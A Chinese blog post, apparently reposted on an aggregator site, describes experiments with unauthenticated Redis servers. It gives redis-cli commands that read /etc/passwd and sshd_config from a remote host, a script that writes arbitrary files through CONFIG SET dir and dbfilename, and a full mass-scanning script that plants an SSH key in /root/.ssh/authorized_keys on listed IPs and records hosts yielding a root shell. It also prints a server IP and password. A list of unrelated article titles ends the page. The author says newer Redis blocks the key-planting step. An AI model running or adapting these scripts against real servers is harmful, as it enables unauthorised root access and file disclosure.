redis的一些安全问题小实验
来源:互联网 发布:梦想 知乎 编辑:程序博客网 时间:2024/05/21 02:33
redis默认仅对127.0.0.1侦听,因此只有本地的redis客户端可以访问。但是如果redis服务希望提供公网访问,就需要向公网开放6379端口,这就存在一定的安全隐患,如果没有设置redis认证密码,则会导致很多安全隐患。
主要有两个隐患,首先通过远程的方式可以使用eval命令执行一些脚本,例如(如果没有认证的话就不需要-a了,这里面因为是咱自己的服务器,所以加了认证):
redis-cli--eval "$(cat /etc/passwd)" -h 40.125.214.92 -aqwertyuioplkjhgfdsazxcvbnm
redis-cli--eval "$(egrep -v '(^#|^$)' /etc/ssh/sshd_config)" -h 40.125.214.92-a qwertyuioplkjhgfdsazxcvbnm
或者例如下面的脚本:
#!/bin/sh
ip='40.125.214.92'
(echo -e "\n\n"; cat "hahaha"; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm -x set 1
redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm config set dir /var/tmp
redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm config set dbfilename "testfile"
redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm save
可以利用dbfile远程注入文件。
还有一个更复杂的远程注入脚本(网上找到的,参考https://ruby-china.org/topics/28094):
#!/bin/sh
if [ $# -eq 1 ]
then
ip_list=$1
##create id_rsa
echo "****************************************Create id_rsa file"
expect -c "
spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
expect {
\"*passphrase): \" {
exp_send \"\r\"
exp_continue
}
\"*again: \" {
exp_send \"\r\"
}
\"*y/n)? \" {
exp_send \"n\r\"
}
}
expect eof
"
echo "\n\n****************************************Attack Targets"
touch noauth.txt runasroot.txt rootshell.txt haveauth.txt
i=0
cat $ip_list | while read ip
do
i=`expr $i + 1`;
#write id_rsa.pub to remote
echo "*****${i}***connect to remote ${ip} redis "
expect -c "
set timeout 3
spawn redis-cli -h $ip config set dir /root/.ssh/
expect {
\"OK\" { exit 0 }
\"ERR Changing directory: Permission denied\" { exit 1 }
timeout { exit 2 }
\"(error) NOAUTH Authentication required\" { exit 3 }
}
"
case $? in
0) echo "run redis as root"
echo $ip >> noauth.txt
echo $ip >> runasroot.txt
;;
1) echo "not run redis as root\n\n\n"
echo $ip >> noauth.txt
continue
;;
2) echo "connect timeout\n\n\n"
continue
;;
3) echo "Have Auth\n\n\n"
echo $ip >> haveauth.txt
continue
;;
esac
#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
(echo -e "\n\n"; cat "hahaha"; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h $ip -x set 1
redis-cli -h $ip config set dir /root/.ssh/
redis-cli -h $ip config set dbfilename "authorized_keys"
redis-cli save
#login test
echo "#try to login"
expect -c "
set timeout 5
spawn ssh -i id_rsa root@$ip echo \"yyf\"
expect {
\"*yes/no\" { send \"yes\n\"}
\"*password\" { send \"\003\"; exit 1 }
\"yyf\" { exit 0 }
timeout { exit 2 }
}
exit 4
"
exitcode=$?
if [ $exitcode -eq 0 ]
then
echo "---------------${ip} is get root shell"
echo $ip >> rootshell.txt
fi
echo "\n\n\n"
done
echo "##########Final Count##########"
wc -l $ip_list
echo "----------"
wc -l noauth.txt
wc -l runasroot.txt
wc -l rootshell.txt
echo "----------"
wc -l haveauth.txt
else
echo "usage: ./redis.sh ip.txt"
fi
不过现在redis用户的权限已经很低了,所以远程注入的这种方式行不通了,原因是/root/.ssh这个目录不允许切换为redis的dir了已经。
但是虽然不能注入,仍然会泄露一些信息,就比如刚开始利用cat命令输出系统文件的内容,这种情况也会为其他攻击手段提供信息。
- redis的一些安全问题小实验
- rman下备份的一些小实验
- nodejs+socketio+redis的一些小尝试
- 一些常用的小玩意之redis
- ffmpeg一些小实验
- Provider存在的一些安全问题
- 使用Redis需要注意的数据安全问题
- 一些安全问题
- python dict 字典 以及 赋值 引用的一些小实验
- 关于String常量池的一些个小实验
- 实验过程中一些不成体系的小Tips
- Java文件操作自己做的一些小实验
- web 小项目 在线书签的安全问题
- 关于SQL SERVER的一些安全问题
- 关于SQL SERVER的一些安全问题(转)
- 关于SQL SERVER的一些安全问题
- 关于Windows的权限和一些安全问题
- AS3中io操作的一些安全问题
- 策略模式浅析
- 利用ajaxSubmit无刷新异步上传导入Excel,无刷新提交表单
- A
- Android逆向之旅---Android应用的汉化功能(修改SO中的字符串内容)
- MySQL索引使用方法和性能优化
- redis的一些安全问题小实验
- 未知宽高图片的水平垂直居中
- 2018年第九届蓝桥杯java b学习重点和资料
- 3-7 类的友元函数的应用
- UE4 VR 模式下全屏解决办法
- 虚幻4退出游戏蓝图节点
- Linux中执行shell脚本的4种方法总结
- 津津的零花钱一直都是自己管理。每个月的月初妈妈给津津300元钱,津津会预算这个月的花销,并且总能做到实际花销和预算的相同。 为了让津津学习如何储蓄,妈妈提出,津津可以随时把整百的钱存在她那里,到了年
- 欢迎使用CSDN-markdown编辑器